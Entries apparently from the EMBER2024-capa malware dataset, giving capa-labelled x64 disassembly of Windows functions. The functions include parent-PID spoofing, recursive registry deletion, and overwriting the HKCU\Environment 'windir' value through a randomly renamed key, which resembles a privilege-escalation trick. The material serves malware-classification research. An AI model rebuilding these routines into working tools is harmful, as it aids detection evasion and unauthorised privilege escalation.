joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a0b0
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rdi
sub rsp, 0x90
xor eax, eax
mov r10, rcx
test rcx, rcx
je 0x14000a147
lea r11d, [rax + 0x70]
mov ecx, r11d
lea rdi, [rsp + 0x20]
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], r11d
mov dword [rsp + 0x24], 0x40
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x50], r9d
mov qword [rsp + 0x30], r8
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edi, eax
test eax, eax
je 0x14000a145
mov edx, dword [rsp + 0xc0]
test edx, edx
je 0x14000a137
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0x102
cmp eax, edx
jne 0x14000a137
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
add rsp, 0x90
pop rdi
ret

Function at 0x14000a150
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, edx
xor esi, esi
mov r10, rcx
mov rdx, rcx
mov r8d, esi
lea r9d, [rdi + 1]
shr r9d, 1
je 0x14000a192
movzx eax, word [rdx]
lea rdx, [rdx + 2]
add r8d, eax
mov ecx, r8d
movzx r8d, r8w
shr ecx, 0x10
add r8d, ecx
add r9d, 0xffffffff
jne 0x14000a175
mov ebx, r8d
mov rcx, r10
shr ebx, 0x10
add bx, r8w
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
je 0x14000a1c6
movzx ecx, word [rax + 0x58]
movzx eax, word [rax + 0x5a]
cmp bx, cx
adc cx, si
sub bx, cx
cmp bx, ax
adc ax, si
sub bx, ax
jmp 0x14000a1c9
movzx ebx, si
mov rsi, qword [rsp + 0x38]
movzx eax, bx
mov rbx, qword [rsp + 0x30]
add eax, edi
add rsp, 0x20
pop rdi
ret

Function at 0x14000a1e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
and qword [rbp + 0x28], 0
mov rbx, r8
and dword [rbp + 0x18], 0
mov rdi, rdx
test rdx, rdx
je 0x14000a255
and qword [rbp - 8], 0
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rcx
lea rdx, [rbp - 0x18]
mov rcx, rdi
mov qword [rbp - 0x18], 0xa
mov r8d, 3
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x14000a255
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x28]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
js 0x14000a255
test rbx, rbx
je 0x14000a255
mov eax, dword [rbp + 0x18]
mov dword [rbx], eax
mov rax, qword [rbp + 0x28]
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbp
ret
Function at 0x14000a370
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rsi, rdx
mov r14, rcx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor ebx, ebx
test eax, eax
je 0x14000a495
lea rax, [rbp + 0x1a8]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000a3d6
cmp eax, 2
je 0x14000a495
xor eax, eax
jmp 0x14000a49a
mov rdi, rsi
test rsi, rsi
jne 0x14000a3e3
mov rdi, rbx
jmp 0x14000a3f1
cmp word [rsi], bx
je 0x14000a3f1
add rdi, 2
cmp word [rdi], bx
jne 0x14000a3e8
mov eax, 0x5c
cmp word [rdi - 2], ax
je 0x14000a406
mov word [rdi], ax
add rdi, 2
mov word [rdi], bx
mov r15d, 0x104
jmp 0x14000a430
mov r9, r15
lea r8, [rsp + 0x50]
mov rdx, r15
mov rcx, rdi
call fcn.140001a9c
mov rdx, rsi
mov rcx, r14
call fcn.14000a370
test eax, eax
je 0x14000a46f
mov rcx, qword [rbp + 0x1a8]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea r9, [rbp + 0x1a0]
mov qword [rsp + 0x30], rbx
lea r8, [rsp + 0x50]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rbp + 0x1a0], r15d
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14000a40e
mov rcx, qword [rbp + 0x1a8]
mov word [rdi - 2], bx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
sete bl
mov eax, ebx
jmp 0x14000a49a
mov eax, 1
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000a508
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14d, ecx
mov qword [rbp + 0x6f], r15
mov ecx, r15d
mov qword [rbp + 0x77], rcx
mov rdi, r9
mov qword [rbp - 0x21], r15
mov esi, r15d
mov ebx, 0xc0000001
test r9, r9
jne 0x14000a557
test r14d, r14d
je 0x14000a68e
lea rcx, [rbp - 0x29]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov ebx, eax
test eax, eax
js 0x14000a68a
lea rax, [rbp - 0x29]
mov dword [rbp + 7], 0x30
xorps xmm0, xmm0
mov qword [rbp + 0x17], rax
lea r8, [rbp + 7]
mov qword [rbp + 0xf], r15
mov edx, 0x2000000
mov dword [rbp + 0x1f], 0x40
lea rcx, [rbp + 0x6f]
mov esi, 1
movdqu xmmword [rbp + 0x27], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000a68a
lea rdx, str.Environment
lea rcx, [rbp - 9]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x6f]
lea r8, [rbp + 7]
mov qword [rbp + 0xf], rax
lea rcx, [rbp + 0x77]
lea rax, [rbp - 9]
mov edx, 0x2000000
mov qword [rbp + 0x17], rax
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000a68a
lea rdx, str.windir
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
test r14d, r14d
je 0x14000a613
mov rcx, qword [rbp + 0x77]
lea rdx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
jmp 0x14000a65a
mov rax, rdi
test rdi, rdi
jne 0x14000a620
mov rax, r15
jmp 0x14000a636
cmp word [rdi], r15w
je 0x14000a630
add rax, 2
cmp word [rax], r15w
jne 0x14000a626
sub rax, rdi
sar rax, 1
mov rcx, qword [rbp + 0x77]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x19]
mov r9d, esi
mov qword [rsp + 0x20], rdi
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov ebx, eax
test eax, eax
js 0x14000a68a
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x3e8
lea r9, str.windir
mov ecx, 0xffff
mov dword [rsp + 0x20], esi
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x14000a699
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000a6a8
call qword [sym.imp.ntdll.dll_NtClose]
test esi, esi
je 0x14000a6b6
lea rcx, [rbp - 0x29]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
not ebx
shr ebx, 0x1f
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000a6d4
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x10], rdx
push rsi
push rdi
push r14
sub rsp, 0x40
xor r14d, r14d
mov rbx, r9
mov qword [rax + 0x10], r14
mov rbp, r8
mov esi, ecx
mov edi, r14d
test r8, r8
je 0x14000a7e1
test rbx, rbx
jne 0x14000a713
test ecx, ecx
je 0x14000a7e1
lea r8, [rsp + 0x68]
mov rcx, 0xffffffff80000001
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000a7c6
test esi, esi
je 0x14000a748
mov rcx, qword [rsp + 0x68]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x14000a792
mov rax, rbx
test rbx, rbx
jne 0x14000a755
mov rax, r14
jmp 0x14000a76b
cmp word [rbx], r14w
je 0x14000a765
add rax, 2
cmp word [rax], r14w
jne 0x14000a75b
sub rax, rbx
sar rax, 1
mov rcx, qword [rsp + 0x68]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete dil
test edi, edi
je 0x14000a7c6
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x3e8
mov r9, rbp
mov ecx, 0xffff
mov dword [rsp + 0x20], 1
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000a7e1
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x14000a7f8
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov dword [rax + 8], ecx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rax - 0x178]
sub rsp, 0x250
xor r14d, r14d
mov rsi, r9
mov qword [rbp + 0x190], r14
mov ebx, r14d
test r9, r9
je 0x14000a9a1
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 0x208
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp + 0x180]
mov dword [rbp + 0x180], eax
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x188], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
not eax
lea rcx, [rbp + 0x180]
mov dword [rbp + 0x180], eax
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x18c], eax
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 0x188]
call fcn.14000b95c
mov rdi, 0xffffffff80000001
lea r8, [rsp + 0x40]
mov rcx, rdi
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test eax, eax
jne 0x14000a982
lea r8, [rbp + 0x190]
mov rcx, rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000a93b
mov rax, rsi
cmp word [rsi], r14w
je 0x14000a8e2
add rax, 2
cmp word [rax], r14w
jne 0x14000a8d8
mov rcx, qword [rbp + 0x190]
lea rdx, str.windir
sub rax, rsi
mov r9d, 1
sar rax, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x190]
test eax, eax
sete bl
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0x190], r14
lea r8, str.Environment
mov rcx, rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test ebx, ebx
je 0x14000a982
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x3e8
lea r9, str.windir
mov ecx, 0xffff
mov dword [rsp + 0x20], 1
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14000a9a1
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x250
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000abd4
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r14d, r9d
mov r15, r8
mov r12d, edx
mov rbp, rcx
xor ebx, ebx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov rdi, rax
test rax, rax
je 0x14000ac6d
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], ebx
mov rcx, rbp
call fcn.140001670
mov rsi, rax
test rax, rax
je 0x14000ac6d
mov rdx, r15
mov rcx, rax
call fcn.140001808
test rax, rax
je 0x14000ac5c
sub eax, esi
mov dword [rdi + 0x28], eax
test r14d, r14d
je 0x14000ac49
mov eax, 0xdfff
and word [rdi + 0x16], ax
mov edx, r12d
mov rcx, rbp
call fcn.14000a150
mov dword [rdi + 0x58], eax
mov ebx, 1
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x14000af44
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
and qword [rbp + 0x1d0], 0
xor ebx, ebx
xor eax, eax
mov rsi, rdx
mov r14, rcx
test rdx, rdx
je 0x14000b0c7
and dword [rdx], ebx
lea rdi, [rbp - 0x70]
mov ecx, 0x200
lea rdx, [rbp - 0x70]
rep stosb byte [rdi], al
call fcn.140001f18
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
and qword [rsp + 0x68], rbx
lea rax, [rsp + 0x40]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x60]
mov dword [rsp + 0x60], 0x30
lea edx, [rbx + 1]
mov dword [rsp + 0x78], 0x40
lea rcx, [rbp + 0x1d0]
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
xor r15d, r15d
lea rdi, [rbp - 0x70]
test eax, eax
mov edx, eax
mov ecx, 0x200
setns r15b
xor eax, eax
rep stosb byte [rdi], al
test edx, edx
js 0x14000b0c4
mov rdx, r14
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rcx, qword [0x1400268c8]
lea edx, [rbx + 8]
mov r14d, 0x1000
mov r8d, r14d
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x14000b0b7
mov rcx, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x28], rax
mov r9, rdi
xor r8d, r8d
mov dword [rsp + 0x20], r14d
mov edx, ebx
call qword [sym.imp.ntdll.dll_NtEnumerateValueKey]
test eax, eax
js 0x14000b092
movzx eax, word [rdi + 8]
lea rdx, [rsp + 0x30]
mov word [rsp + 0x32], ax
lea rcx, [rsp + 0x50]
lea rax, [rdi + 0xc]
mov r8b, 1
mov qword [rsp + 0x38], rax
movzx eax, word [rdi + 8]
mov word [rsp + 0x30], ax
call qword [sym.imp.ntdll.dll_RtlEqualUnicodeString]
test al, al
jne 0x14000b09b
inc ebx
jmp 0x14000b032
cmp eax, 0x8000001a
je 0x14000b0a1
jmp 0x14000b032
mov dword [rsi], 1
mov rcx, qword [0x1400268c8]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, r15d
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x290
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000b3b8
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x38
and qword [rsp + 0x58], 0
lea rdx, str.SoftwareMicrosoftNET_Framework_SetupNDP_v4Full
and dword [rsp + 0x40], 0
mov eax, 4
mov dword [rsp + 0x48], eax
mov r9d, 0x20019
mov dword [rsp + 0x50], eax
xor r8d, r8d
lea rax, [rsp + 0x58]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b438
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x50]
lea rax, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.Release
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x40], 0x80ea8
setae al
add rsp, 0x38
ret

Function at 0x14000b59c
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x270
xor ebx, ebx
mov r14, r9
mov rbp, rcx
mov rdi, rcx
test rcx, rcx
jne 0x14000b5cb
mov edi, ebx
jmp 0x14000b5df
cmp word [rcx], bx
je 0x14000b5d9
add rdi, 2
cmp word [rdi], bx
jne 0x14000b5d0
sub rdi, rbp
sar rdi, 1
lea r15, [0x14001f740]
mov rax, r15
add rax, 2
cmp word [rax], bx
jne 0x14000b5e9
mov rcx, qword [0x1400268c8]
sub rax, r15
sar rax, 1
mov edx, 8
mov rcx, qword [rcx + 0x20]
lea r8, [rax + rdi]
lea r8, [r8*2 + 2]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
je 0x14000b6b9
mov rdx, rbp
mov rcx, rax
call fcn.140001a5c
mov eax, 0x5c
cmp word [rcx + rdi*2 - 2], ax
je 0x14000b640
mov dword [rcx + rdi*2], eax
mov rdx, r15
call fcn.140001a20
xor eax, eax
lea rdi, [rsp + 0x20]
mov ecx, 0x250
lea rdx, [rsp + 0x20]
rep stosb byte [rdi], al
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000b6a3
mov r8, r14
lea rdx, [rsp + 0x20]
mov rcx, rbp
call fcn.14000b868
test eax, eax
jne 0x14000b695
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000b69a
jmp 0x14000b66d
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [0x1400268c8]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0x270]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x14000b6d8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x270
xor r15d, r15d
mov r14, r9
mov rsi, rcx
mov ebp, r15d
test rcx, rcx
je 0x14000b844
lea r12, [0x14001f740]
mov rax, r12
add rax, 2
cmp word [rax], r15w
jne 0x14000b717
sub rax, r12
sar rax, 1
cmp rax, 0x10
ja 0x14000b844
call fcn.14000b59c
test eax, eax
je 0x14000b744
mov eax, 1
jmp 0x14000b846
mov rdi, rsi
cmp word [rsi], r15w
je 0x14000b757
add rdi, 2
cmp word [rdi], r15w
jne 0x14000b74d
mov rcx, qword [0x1400268c8]
sub rdi, rsi
sar rdi, 1
mov edx, 8
mov rcx, qword [rcx + 0x20]
lea r8, [rdi*2 + 0x410]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000b844
mov rdx, rsi
mov rcx, rax
call fcn.140001a5c
mov eax, 0x5c
cmp word [rcx + rdi*2 - 2], ax
je 0x14000b7a4
mov dword [rcx + rdi*2], eax
inc rdi
mov dword [rbx + rdi*2], 0x2a
lea rdx, [rsp + 0x20]
xor eax, eax
lea rdi, [rsp + 0x20]
mov ecx, 0x250
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000b82a
test byte [rsp + 0x20], 0x10
je 0x14000b80f
cmp word [rsp + 0x4c], 0x2e
je 0x14000b80f
mov rdx, rsi
mov rcx, rbx
call fcn.140001a5c
lea rdx, [rsp + 0x4c]
call fcn.140001a20
lea r8, [fcn.14000b868]
mov rdx, r12
mov rcx, rbx
mov r9, r14
call fcn.14000b6d8
mov ebp, eax
test eax, eax
jne 0x14000b821
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000b7d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [0x1400268c8]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, ebp
jmp 0x14000b846
xor eax, eax
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x14000c5e4
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x47]
sub rsp, 0xe0
mov rsi, qword [rbp + 0x7f]
xor r12d, r12d
mov rbx, r8
mov r15, rdx
mov r14d, r12d
test rsi, rsi
je 0x14000c622
mov qword [rsi], r12
xor eax, eax
lea rdi, [rbp - 0x71]
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x51]
lea ecx, [rax + 0x70]
rep stosb byte [rdi], al
test rbx, rbx
jne 0x14000c644
mov r8, r12
jmp 0x14000c650
add r8, 2
cmp word [r8], r12w
jne 0x14000c640
sub r8, rbx
sar r8, 1
mov rcx, qword [0x1400268c8]
lea r8, [r8*2 + 2]
mov edx, 8
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x14000c7c6
mov rdx, rbx
mov rcx, rax
call fcn.140001a5c
mov r8d, 0x30
mov dword [rbp - 0x51], 0x70
mov qword [rbp + 0x67], r8
lea ebx, [r8 - 0x28]
cmp r8, 0x400
ja 0x14000c7b0
mov rcx, qword [0x1400268c8]
mov edx, ebx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rbp + 0x17], rax
test rax, rax
je 0x14000c79c
xor r8d, r8d
lea r9, [rbp + 0x67]
mov rcx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14000c785
mov rcx, qword [rbp + 0x17]
lea r9, [rbp + 0x4f]
mov qword [rsp + 0x30], r12
xor edx, edx
mov qword [rsp + 0x28], r12
mov r8d, 0x20000
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14000c773
lea rax, [rbp - 0x71]
mov dword [rbp - 0x15], 1
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x51]
mov word [rbp - 0x11], r12w
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov rdx, rdi
mov qword [rsp + 0x30], r12
mov rcx, r15
mov dword [rsp + 0x28], 0xc080024
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000c773
mov r14, qword [rbp - 0x71]
test rsi, rsi
je 0x14000c769
mov rax, qword [rbp - 0x69]
mov qword [rsi], rax
jmp 0x14000c773
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rbp + 0x17]
test r8, r8
je 0x14000c789
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov r8, qword [rbp + 0x17]
mov rcx, qword [0x1400268c8]
xor edx, edx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000c7b0
mov r8, qword [rbp + 0x67]
jmp 0x14000c69a
mov rcx, qword [0x1400268c8]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0xe0]
mov rax, r14
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret

Function at 0x14000d060
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000d088
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000d088
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000d2a0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000d30f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000d30f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000d30f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000d30f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000d30f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000d30f
cmp dword [rcx + 0xf8], 0
je 0x14000d30f
mov ecx, ebx
call fcn.14000d3cc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000d19c
nop
cmp dword [rbp + 0x20], 0
je 0x14000d35d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000d368
int3
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x14000d2a0